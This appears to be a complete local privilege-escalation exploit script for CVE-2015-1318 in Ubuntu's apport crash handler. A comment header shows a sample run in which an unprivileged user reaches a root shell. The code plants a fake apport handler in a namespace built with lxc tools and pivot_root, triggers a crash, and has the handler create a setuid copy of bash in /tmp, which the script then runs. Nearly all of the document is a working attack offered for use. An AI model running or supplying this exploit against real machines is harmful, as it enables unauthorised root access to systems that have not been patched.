69 lines
No EOL
1.3 KiB
Bash
Executable file
69 lines
No EOL
1.3 KiB
Bash
Executable file
#!/bin/sh
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#
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# CVE-2015-1318
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#
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# Reference: https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1438758
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#
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# Example:
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#
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# % uname -a
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# Linux maggie 3.13.0-48-generic #80-Ubuntu SMP Thu Mar 12 11:16:15 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
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#
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# % lsb_release -a
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# No LSB modules are available.
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# Distributor ID: Ubuntu
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# Description: Ubuntu 14.04.2 LTS
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# Release: 14.04
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# Codename: trusty
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#
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# % dpkg -l | grep '^ii apport ' | awk -F ' ' '{ print $2 " " $3 }'
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# apport 2.14.1-0ubuntu3.8
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#
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# % id
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# uid=1000(ricardo) gid=1000(ricardo) groups=1000(ricardo) (...)
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#
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# % ./apport.sh
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# pwned-4.3# id
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# uid=1000(ricardo) gid=1000(ricardo) euid=0(root) groups=0(root) (...)
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# pwned-4.3# exit
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TEMPDIR=$(mktemp -d)
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cd ${TEMPDIR}
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cp /bin/busybox .
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mkdir -p dev mnt usr/share/apport
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(
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cat << EOF
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#!/busybox sh
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(
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cp /mnt/1/root/bin/bash /mnt/1/root/tmp/pwned
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chmod 5755 /mnt/1/root/tmp/pwned
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)
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EOF
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) > usr/share/apport/apport
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chmod +x usr/share/apport/apport
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(
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cat << EOF
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mount -o bind . .
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cd .
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mount --rbind /proc mnt
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touch dev/null
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pivot_root . .
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./busybox sleep 500 &
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SLEEP=\$!
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./busybox sleep 1
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./busybox kill -11 \$SLEEP
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./busybox sleep 5
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EOF
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) | lxc-usernsexec -m u:0:$(id -u):1 -m g:0:$(id -g):1 2>&1 >/dev/null -- \
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lxc-unshare -s "MOUNT|PID|NETWORK|UTSNAME|IPC" -- /bin/sh 2>&1 >/dev/null
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/tmp/pwned -p
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rm -Rf ${TEMPDIR} |